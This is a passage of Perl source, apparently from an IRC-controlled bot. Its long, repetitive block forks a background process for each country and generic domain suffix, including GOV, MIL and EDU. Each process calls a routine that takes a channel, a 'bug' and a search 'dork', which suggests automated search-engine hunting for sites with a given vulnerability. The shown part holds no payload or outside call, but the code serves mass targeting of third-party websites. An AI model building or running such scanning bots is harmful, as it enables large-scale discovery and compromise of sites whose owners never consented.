&type($chan,$bug,$simpan,$dork,"DE",$type,$nick); } exit; } } if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DK",$type,$nick); } exit; } } if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ES",$type,$nick); } exit; } } if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EU",$type,$nick); } exit; } } if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FR",$type,$nick); } exit; } } if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HU",$type,$nick); } exit; } } if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ID",$type,$nick); } exit; } } if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IL",$type,$nick); } exit; } } if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IN",$type,$nick); } exit; } } if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"InfO",$type,$nick); } exit; } } if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IR",$type,$nick); } exit; } } if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IT",$type,$nick); } exit; } } if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JP",$type,$nick); } exit; } } if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KR",$type,$nick); } exit; } } if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MX",$type,$nick); } exit; } } if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MY",$type,$nick); } exit; } } if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NeT",$type,$nick); } exit; } } if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NL",$type,$nick); } exit; } } if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OrG",$type,$nick); } exit; } } if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PH",$type,$nick); } exit; } } if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PL",$type,$nick); } exit; } } if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RO",$type,$nick); } exit; } } if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RU",$type,$nick); } exit; } } if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TH",$type,$nick); } exit; } } if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UA",$type,$nick); } exit; } } if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UK",$type,$nick); } exit; } } if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"US",$type,$nick); } exit; } } if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SI",$type,$nick); } exit; } } if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BE",$type,$nick); } exit; } } if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BIZ",$type,$nick); } exit; } } if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"XXX",$type,$nick); } exit; } } if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TEL",$type,$nick); } exit; } } if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TV",$type,$nick); } exit; } } if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CC",$type,$nick); } exit; } } if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MIL",$type,$nick); } exit; } } if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ASIA",$type,$nick); } exit; } } if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NAME",$type,$nick); } exit; } } if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PRO",$type,$nick); } exit; } } if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TRAVEL",$type,$nick); } exit; } } if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CAT",$type,$nick); } exit; } } if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JOBS",$type,$nick); } exit; } } if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MOBI",$type,$nick); } exit; } } if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AERO",$type,$nick); } exit; } } if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"COOP",$type,$nick); } exit; } } if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EDU",$type,$nick); } exit; } } if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GOV",$type,$nick); } exit; } } if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AS",$type,$nick); } exit; } } if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AI",$type,$nick); } exit; } } if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AG",$type,$nick); } exit; } } if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AZ",$type,$nick); } exit; } } if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BH",$type,$nick); } exit; } } if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BD",$type,$nick); } exit; } } if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BZ",$type,$nick); } exit; } } if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BO",$type,$nick); } exit; } } if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BA",$type,$nick); } exit; } } if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BW",$type,$nick); } exit; } } if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VG",$type,$nick); } exit; } } if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BG",$type,$nick); } exit; } } if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BI",$type,$nick); } exit; } } if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CO",$type,$nick); } exit; } } if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CD",$type,$nick); } exit; } } if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CG",$type,$nick); } exit; } } if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CK",$type,$nick); } exit; } } if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CR",$type,$nick); } exit; } } if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HR",$type,$nick); } exit; } } if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CU",$type,$nick); } exit; } } if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CI",$type,$nick); } exit; } } if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DJ",$type,$nick); } exit; } } if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DM",$type,$nick); } exit; } } if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DO",$type,$nick); } exit; } } if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EC",$type,$nick); } exit; } } if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EG",$type,$nick); } exit; } } if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SV",$type,$nick); } exit; } } if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EE",$type,$nick); } exit; } } if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ET",$type,$nick); } exit; } } if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FJ",$type,$nick); } exit; } } if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FI",$type,$nick); } exit; } } if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GM",$type,$nick); } exit; } } if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GI",$type,$nick); } exit; } } if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GR",$type,$nick); } exit; } } if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GL",$type,$nick); } exit; } } if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GT",$type,$nick); } exit; } } if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GG",$type,$nick); } exit; } } if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HT",$type,$nick); } exit; } } if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HN",$type,$nick); } exit; } } if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HK",$type,$nick); } exit; } } if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IS",$type,$nick); } exit; } } if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IE",$type,$nick); } exit; } } if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IM",$type,$nick); } exit; } } if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JE",$type,$nick); } exit; } } if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JO",$type,$nick); } exit; } } if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KZ",$type,$nick); } exit; } } if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KE",$type,$nick); } exit; } } if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KG",$type,$nick); } exit; } } if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LV",$type,$nick); } exit; } } if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LS",$type,$nick); } exit; } } if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LY",$type,$nick); } exit; } } if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LI",$type,$nick); } exit; } } if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LT",$type,$nick); } exit; } } if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LU",$type,$nick); } exit; } } if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MW",$type,$nick); } exit; } } if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MT",$type,$nick); } exit; } } if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MU",$type,$nick); } exit; } } if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FM",$type,$nick); } exit; } } if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MN",$type,$nick); } exit; } } if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MS",$type,$nick); } exit; } } if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MA",$type,$nick); } exit; } } if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NA",$type,$nick); } exit; } } if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NP",$type,$nick); } exit; } } if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NZ",$type,$nick); } exit; } } if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NI",$type,$nick); } exit; } } if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NF",$type,$nick); } exit; } } if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NO",$type,$nick); } exit; } } if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OM",$type,$nick); } exit; } } if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PK",$type,$nick); } exit; } } if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PA",$type,$nick); } exit; } } if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PY",$type,$nick); } exit; } } if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PE",$type,$nick); } exit; } } if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PN",$type,$nick); } exit; } } if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PT",$type,$nick); } exit; } } if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PR",$type,$nick); } exit; } } if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"QA",$type,$nick); } exit; } } if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RW",$type,$nick); } exit; } } if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SH",$type,$nick); } exit; } } if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SM",$type,$nick); } exit; } } if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SA",$type,$nick); } exit; } } if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SN",$type,$nick); } exit; } } if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SC",$type,$nick); } exit; } } if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SG",$type,$nick); } exit; } } if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SK",$type,$nick); } exit; } } if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZA",$type,$nick); } exit; } } if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LK",$type,$nick); } exit; } } if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VC",$type,$nick); } exit; } } if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SE",$type,$nick); } exit; } } if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CH",$type,$nick); } exit; } } if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TW",$type,$nick); } exit; } } if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TJ",$type,$nick); } exit; } } if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BS",$type,$nick); } exit; } } if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TO",$type,$nick); } exit; } } if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TT",$type,$nick); } exit; } } if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TR",$type,$nick); } exit; } } if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TM",$type,$nick); } exit; } } if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VI",$type,$nick); } exit; } } if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UG",$type,$nick); } exit; } } if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UY",$type,$nick); } exit; } } if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UZ",$type,$nick); } exit; } } if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VE",$type,$nick); } exit; } } if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VN",$type,$nick); } exit; } } if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZM",$type,$nick); } exit; } } if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MUSEUM",$type,$nick); } exit; } } if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WS",$type,$nick); } exit; } } if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AF",$type,$nick); } exit; } } if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AX",$type,$nick); } exit; } } if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AL",$type,$nick); } exit; } } if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DZ",$type,$nick); } exit; } } if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AO",$type,$nick); } exit; } } if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AQ",$type,$nick); } exit; } } if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AM",$type,$nick); } exit; } } if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AW",$type,$nick); } exit; } } if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AC",$type,$nick); } exit; } } if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BJ",$type,$nick); } exit; } } if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BM",$type,$nick); } exit; } } if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BT",$type,$nick); } exit; } } if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IO",$type,$nick); } exit; } } if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BN",$type,$nick); } exit; } } if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BF",$type,$nick); } exit; } } if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KH",$type,$nick); } exit; } } if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CM",$type,$nick); } exit; } } if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CV",$type,$nick); } exit; } } if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KY",$type,$nick); } exit; } } if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CF",$type,$nick); 